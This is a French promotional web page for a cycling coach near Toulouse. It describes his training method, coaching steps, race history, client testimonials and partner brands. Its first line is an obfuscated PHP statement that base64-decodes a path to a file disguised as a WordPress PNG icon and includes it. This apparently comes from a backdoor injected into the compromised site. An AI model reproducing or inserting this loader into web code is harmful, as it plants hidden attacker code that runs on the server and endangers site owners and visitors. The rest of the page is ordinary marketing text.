@include base64_decode("L2hvbWUvY2N0anNhci93d3cvd3AtaW5jbHVkZXMvaW1hZ2VzL3dwaWNvbnMtM3gucG5n"); Jean-Sébastien Abbal, entraîneur cyclisme à Toulouse

Entraîneur cyclisme à Toulouse

Cycling Coaching Training - Jean Sébastien Abbal

Entraîneur cyclisme professionnel à proximité de Toulouse depuis 13 ans, j’accompagne les cyclistes qui veulent optimiser leur temps consacré à leur entraînement grâce à des exercices qui recherchent la qualité plutôt que la quantité pour améliorer leur performance.

Avec plus de 13 ans d’expérience en tant que coach vélo, j’ai pu accompagner de nombreux cyclistes que ce soit en cyclisme de route, en cyclo-cross (CX), en VTT mais aussi en Duathlon et Triathlon.

Peu importe ton niveau, mon programme d’entraînement vélo sera adapté en fonction de toi. Le but est de te faire gagner en performance en fonction de tes capacités, ta disponibilité et tes objectifs à atteindre.

13 ans

d'expérience comme coach cyclisme

+ de 50

cyclistes accompagnés

25 ans

de pratique du cyclisme

ENTRAÎNEMENT CYCLISTE

Cycliste, tu cherches à atteindre tes objectifs tout en optimisant le temps passé à l’entraînement ?

Que ton objectif soit une remise en forme, gagner en endurance ou en puissance, réussir à vous démarquer en compétition, travailler votre mental ou encore préparer une compétition précise, mon but est de t’aider à t’entraîner de manière efficace avec un objectif précis à chaque séance.

Tu es actuellement dans l'une des 3 situations suivante :

Tu veux améliorer ta pratique du cyclisme mais tu ne sais pas par où commencer

Tu veux progresser mais tu ne connais pas les points sur lesquels tu dois travailler pour améliorer ta pratique du cyclisme ? Avant de débuter un accompagnement, j'évalue le niveau actuel de chacun avec ses forces et faiblesses. Ainsi, on pourra définir ensemble les différents points d’attention à travailler, le renforcement de tes forces et quels objectifs seront à atteindre en instaurant des priorités à l’entrainement.

Tu as un objectif précis pour ta pratique du cyclisme et tu as besoin d'un plan pour y parvenir

Tu as un objectif en tête : te remettre en forme, travailler une compétence particulière : le rythme, l’endurance, la vélocité, les intensités… Mon but est de mettre en place un plan d’entraînement qui te permette, étape par étape, d'atteindre cet objectif mais aussi d’augmenter tes capacités de manière plus globale.

Tu es compétiteur et tu souhaites performer en courses

Tu êtes licenciés et ton objectif est de réussir à te démarquer sur les courses, performer pour pouvoir progresser au sein de ton équipe et de ton club. Le coaching cyclisme t'aidera à atteindre cette performance grâce à un suivi annuel tant sur tes entraînements que sur tes courses. Ainsi, chaque cycle aura un objectif et visera à te faire progresser dans le cyclisme de compétition.

PROGRAMME D'ENTRAÎNEMENT CYCLISTE

Un programme d’entraînement cyclisme qui s’adapte en fonction de toi et tes objectifs

Entraîneur cycliste basé à Toulouse, le suivi qui se fait à distance me permet de t’entraîner peu importe où tu te trouves.

5/5

+ de 80 cyclistes satisfaits par leur accompagnement

Ma méthodologie d'entraînement

Mon approche se base sur la personnalisation d’un plan d’entraînement en fonction de toi mais aussi de ta pratique : cyclisme sur route, cyclo-cross, VTT, triathlon…
Ma méthodologie d’entraînement vélo vise à travailler tes points d’attention dans le but d’améliorer ta performance et d’atteindre tes objectifs tout en optimisant le temps passer à l’entraînement. Le point de départ sera l’évaluation de ton potentiel à partir d’un test PMA.
La progression et la performance ne passe pas que par l’entraînement vélo : c’est pourquoi mon programme est complété par des séances de renforcement musculaire ainsi que des conseils en récupération sportive et en nutrition.

Un suivi d’entraînement cycliste individualisé et personnalisé

Ma méthode se base sur la connaissance de l’athlète. Quand bien même la pratique reste la même, nous sommes tous différents et avons nos particularités. Les meilleures données viennent de chacun ! Ton quotidien, tes routines, ton fonctionnement. Le programme vise à s’adapter en fonction de toi et non l’inverse.

Des séances d’entraînement adaptées

Des séances individualisées c'est quoi ? Elles sont calculées selon mes analyses et tes retours. Ainsi, elles sont structurées et détaillées selon le thème de la semaine ou du cycle. La bibliothèque de séances d’entraînement qui te sera fournie est unique et dépend de ton objectif et tes disponibilités.

Un coach vélo pluridisciplinaire

Ce n’est pas qu’un plan d’entraînement pour vélo de route : mon expertise me permet de répondre aux besoins du cycliste débutant comme à ceux du cycliste de haut niveau. Mais aussi aux différentes pratiques du cyclisme : cyclisme sur route, cyclo-cross, VTT, triathlon, cyclotourisme…

JEAN SÉBASTIEN ABBAL CYCLING COACHING TRAINING

TON COACH SPORTIF CYCLISME

Jean-Sébastien Abbal, entraîneur cyclisme à Toulouse

Passionné et pratiquant le cyclisme depuis mes plus jeunes années, ce sport a toujours fait partie de mon quotidien, d’aussi longtemps que je m’en souvienne. Mon père, qui partait tous les dimanche matin faire une sortie à vélo, m’a transmis cette passion qui ne m’a jamais quitté.

Depuis ma licence Benjamin 2 en cyclisme sur route je suis fier d’avoir pu lever les bras aussi bien en Charente Maritime, en Vendée, en Vienne, dans les Landes, les Pyrénées Atlantiques, les Hautes-Pyrénées, la Haute-Garonne, l’Aveyron, l’Aude, l’Ariège, le Var ou encore la Côte d’Azur…

J’ai d’ailleurs été Champion départemental sur route de Deux-Sèvre, de la Côte d’Azur et des Hautes Pyrénées mais aussi Champion régional Midi Pyrénées de CLM.

Curieux de découvrir de nouvelles disciplines, je me suis également essayé au Duathlon mon but étant de m’approprier la pratique afin d’aider encore mieux mes clients duathlètes ou triathlètes.

Après quelques essais, j’ai remporté le challenge Audois ainsi qu’une qualification aux France pour le format longue distance en Élite.

J’ai à ce jour entraîné plus de 80 coureurs, toute discipline dans le cyclisme et tout objectif confondus.

Ils ont atteint leurs objectifs

Avec CCT JSA

Arnaud Cascaro
Arnaud Cascaro
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Je recommande Jean-Sebastien tant par son professionnalisme que par l'excellence de son coaching. Il m'a permis de grandement progresser durant ces années de coaching, et de passer d'un niveau départemental à national en intégrant une DN1, et en décrochant un podium aux championnats de France de cyclisme sur piste.
Manon Souyris
Manon Souyris
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Jean-Sébastien est très à l'écoute. Ses plans d'entraînement sont adaptés à nos objectifs et nos disponibilités. Grâce à son coaching et ses conseils, j'ai énormément progressé et j'ai pu atteindre les objectifs fixés.
Brice Vervaeren
Brice Vervaeren
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Maintenant 4 ans qu’on travaille ensemble avec Jean Sébastien. Très à l’écoute, flexible et compréhensif c’est la personne idéale à qui confier son entraînement. Son expérience et ses connaissances lui permettent de répondre au mieux au besoin et spécificités de ses athlètes.
Olivier Rabaud
Olivier Rabaud
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Merci Jean-Sébastien pour ton suivi depuis toutes ces années. Je n'aurais jamais pensé me sentir aussi bien sur le vélo. La méthode CCT est authentique, dans laquelle le développement physique et mental de l'athlète est primordial afin d'atteindre des performances optimales. Tu t'adaptes à mes contraintes et tu restes à l'écoute de mes sensations. Tes supports techniques, tes analyses sont d'un grand professionnalisme. Tu m'as souvent bluffé à quel point tu me connaissais parfaitement comme athlète. Je progresse au fil des années grâce à CCT. Le temps passe, mes performances restent... Quel plaisir !
Nicolas Frézouls
Nicolas Frézouls
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Très heureux d'avoir rencontré Jean-Sébastien. 2 ans passés à ses côtés au top avec des résultats. Il est toujours à l'écoute de ses coureurs et présent lorsqu'il y a un contretemps pour modifier la séance d'entraînement en fonction des obligations.
Gregory Lopez
Gregory Lopez
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Jean-Sébastien, en plus d'être un excellent entraîneur, est une personne en or ! Toujours dans l'adaptation par rapport au sportif qu'il a en face de lui, il a l'art de conjuguer vie sportive et vie professionnelle ou familiale ! Un vrai allié pour viser les sommets !
Jérémy Holvoet
Jérémy Holvoet
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Une belle expérience pour améliorer ses performances sur le vélo. J'ai franchi le pas après 30 ans de vélo. J'aurai dû le faire avant. Il ne suffit pas d'aligner les km, il faut savoir les faire aux bons moments. Si comme moi vous ne savez pas trop par où commercer... n'hésitez plus. Merci à Jean-Sébastien de m'avoir accompagné pendant ces deux saisons de cross et une de route et VTT c'était top.
Wilfried Voyeux
Wilfried Voyeux
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Coach professionnel et à l'écoute, n'hésite pas à réajuster le planning d'entraînement au besoin, je recommande !
Thomas Berger
Thomas Berger
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C'est grâce à Jean-Sébastien que j'ai pu progresser en vélo et atteindre mon niveau actuel. Jean-Sébastien est un entraîneur non seulement performant mais humain, disponible et à l'écoute, qui sait s'adapter aux besoins et profil de ses athlètes. Je recommande vivement
Nicolas Hovasse
Nicolas Hovasse
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Un entraînement structuré et efficace qui porte ses fruits. Jean-Sébastien est toujours disponible et à l'écoute
Frederic Huertas
Frederic Huertas
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La qualité au service de la rapidité Le sérieux et le suivi parfait Une seule adresse : CCT JSA

Faire appel à un coach cycliste, ça se déroule comment ?

Un accompagnement global où chaque cycliste est acteur de son entraînement :

Étape 1 : On prend rendez-vous et on fait le bilan

Le but ? Mener un bilan complet de ta condition physiques, tes habitudes, tes problématiques etc…

Étape 2 : On définit tes objectifs d’entraînement

Rouler pour rouler ne sert à rien si l’on souhaite performer. On définit donc les objectifs à atteindre en fonction de l’analyse du bilan afin d’avoir le socle de ton entrainement.

Étape 3 : J’établis et planifie ton programme d’entraînement

Grâce au bilan et à la définition de tes objectifs, je peux établir ton programme d’entraînement. Séances spécifiques à vélo, sessions de renforcement musculaires, préparation mentale et suivi diététique, je suis là pour t'accompagner à l’entrainement mais aussi en dehors de celui-ci.

Étape 4 : J’analyse et j’ajuste le programme en fonction de tes retours

Nos échanges et le suivi de tes séances d’entraînement (et courses si c’est le cas) me permet d’analyser ta progression et l’atteinte de tes objectifs. En fonction de cette analyse, de ton état physique ou mental, j’adapte ton programme pour le prochain cycle.

PARTENAIRES CYCLISME

Parce qu’il est important d’avoir du matériel performant, CCTJSA est partenaire de marques de qualité

Dans le cyclisme, le matériel prend une place de plus en plus importante. C’est pourquoi je travaille avec ces marques soigneusement sélectionnées pour les proposer à mes athlètes.

Factor propose des cadres légers et aéro, le rendement est incroyable. Les capteurs de puissance Rotor ont un excellent rapport qualité/prix et propose également le plateau ovale Qrings, qui permet de supprimer le point mort du cycle de pédalage. Topwheels, c’est un vrai passionné qui réalise des montages de roues de manière artisanale, il cherche vraiment à connaître le cycliste avant de lui proposer une paie sur-mesure adapté à lui et à sa pratique. 226ERS ont des produits énergétiques de qualité avec une belle diversité de gamme. Gobik fabrique d’excellent textiles avec efficacité. Et pour des roulements de qualité, on peut faire confiance a Cycling Ceramic.

À la demande, j'organise des séjours cyclismes ! Le temps d'une journée, pour un stage plus longue durée ou un weekend.

Si vous souhaitez ma présence que ce soit pour un séjour cycliste découverte ou encore un stage de préparation avant objectif c’est possible ! Je vous accompagne durant la durée choisie, vous accompagne sur les escapades sélectionnées ou lors de votre entraînement pour vous permettre de dérouler votre objectif grâce à mon expérience.